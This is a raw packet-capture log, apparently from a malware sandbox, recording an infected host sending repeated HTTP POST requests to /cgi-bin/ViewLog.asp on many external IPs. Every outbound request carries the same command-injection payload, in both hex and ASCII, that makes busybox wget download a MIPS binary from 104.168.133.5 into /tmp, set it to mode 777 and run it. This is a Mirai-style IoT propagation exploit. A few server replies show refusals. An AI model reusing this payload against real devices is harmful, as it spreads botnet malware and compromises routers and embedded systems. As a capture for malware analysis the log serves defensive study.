Nov 23, 2023 05:15:29.830621004 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:39.046619892 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:59.014622927 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:35.878482103 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	57442	94.13.187.170	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:20.976622105 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:21.209579945 CET	90	IN	HTTP/1.1 403 Forbidden

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	57292	85.14.237.199	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:20.978307009 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:21.182187080 CET	545	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 345 Date: Thu, 23 Nov 2023 04:15:20 GMT Server: lighttpd/1.4.45 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	39610	94.120.111.63	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:21.005628109 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	54010	94.253.19.28	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:21.015638113 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	58190	94.120.169.202	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:21.234807968 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	57404	94.120.32.167	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:21.242244005 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	36140	95.86.64.39	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:21.253258944 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	42458	94.120.236.37	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:23.014878988 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	58926	62.29.75.151	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:23.028067112 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	42998	95.164.242.218	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:23.611053944 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:23.714442015 CET	1314	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.27 Mime-Version: 1.0 Date: Thu, 23 Nov 2023 04:15:23 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3556 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from ubuntu X-Cache-Lookup: NONE from ubuntu:8080 Via: 1.1 ubuntu (squid/3.5.27) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-seri

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	34344	31.136.132.11	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:23.677712917 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:26.758701086 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:32.902626038 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:44.934693098 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:09.254538059 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:58.406415939 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	38498	94.122.62.114	8080

Timestamp	Bytes transferred	Direction	Data
